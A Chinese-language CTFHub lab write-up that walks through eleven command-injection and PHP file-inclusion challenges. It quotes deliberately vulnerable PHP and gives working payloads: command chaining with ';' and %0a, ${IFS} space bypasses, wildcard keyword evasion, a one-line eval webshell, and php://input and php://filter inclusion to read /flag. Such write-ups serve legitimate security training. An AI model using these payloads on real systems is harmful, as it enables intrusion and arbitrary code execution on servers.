CTFHub-技能树-命令执行
1.命令注入
给了源码:
// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>
根据第五行代码,这里直接拼接就行
看到有一个php文件,8061098418328.php
,直接用cat,但是没有显示
考虑到有特殊字符,无法回显,使用base64编码,拿到flag。
这里用到了管道符|
,表示把上一条命令的输出作为下一条命令的输入
2.过滤cat
过滤cat,类似cat的指令这里有一堆
和上一题思路一样,拼接语句
先用ls查看文件名
再用一个类似于cat的指令查看内容并以base64格式输出
下一题
3.过滤空格
空格用${IFS}
代替即可,还可以使用IFS$9、%09、<、>、<>、{,}、%20
来代替空格
其余思路和上一题一样
4.过滤目录分隔符
emmmm,我想的是,过滤了目录分隔符/
那我就不用了,
直接用;
拼接命令即可,其余思路一样
payload: 127.0.0.1;cd flag_is_here;cat flag_159229063344.php | base64
5.过滤运算符
前边只有base64编码的时候用到了运算符,而file | base64
也可以写成base64 file
剩下的思路以之前一致
6.综合过滤练习
过滤了|,&,;, ,/,cat,flag,ctfhub
空格可以用${IFS}
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;
还能用%0a
(换行符)
有了;就可以不用运算符了
然后按着之前的思路去做就可以了
最终的payload
!这里要注意,因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
查看目录127.0.0.1%0als
查看文件夹内容127.0.0.1%0acd${IFS}f***_is_here%0als
查看flag127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php
7.eval执行
-
题目
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
-
直接运行cmd参数,没有过滤,使用system函数即可执行bash命令
-
解题
eval():将传入的参数当作php代码执行,所以传参需要传入
;
ls/find找到flag,再cat即可
8.文件包含
-
题目内容
-
index.php
<?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
如果GET参数file中没有关键词
flag
,则包含file参数所指文件include、require等包含类文件,会把指定文件中的内容当作php代码执行,当然不同函数有区别,开源在php manual查一下
-
shell.txt
<?php eval($_REQUEST['ctfhub']);?>
shell.txt是php一句话马
-
-
解题过程
构造payload,包含
shell.txt
并执行传入的参数?file=shell.txt&ctfhub=PHP_CODE;
因为不能含有关键词
flag
,所以最后利用通配符*
来完成文件读取,fla*
9.php://input
-
题目内容
-
index.php
<?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> <a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag? phpinfo
如果GET参数file的开头为
php://
则包含file -
phpinfo
给了phpinfo,看了下
allow_url_include/fopen
都为On,那么就可以利用php伪协议进行命令执行/文件读取
-
-
解题过程
既然题目是
php://input
,那就用它吧php://input === POST包的body
那么
/?file=php://input
,最终效果为include(php://input);
我们只需要把POST的body设置为我们要执行的php代码即可
10.读取源代码
-
题目内容
-
index.php
<?php error_reporting(E_ALL); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> flag in <code>/flag</code> i don't have shell, how to get flag? flag in /flag
包含部分代码和上一题一样,php://开头即可
此外,题目指出flag位置
/flag
-
-
解题过程
使用php伪协议
php://filter
进行文件读取,因为是flag,所以不需要编码构造payload:
?file=php://filter/read/resource=/flag
11.远程包含
-
题目内容
和
php://input
一样,本意应该是让我们把php脚本传到自己的vps上,然后使用url远程包含,达到rce的目的即file===你的url
-
解题过程
因为vps暂时没法用,偷懒一下,和
php://input
用的一样的解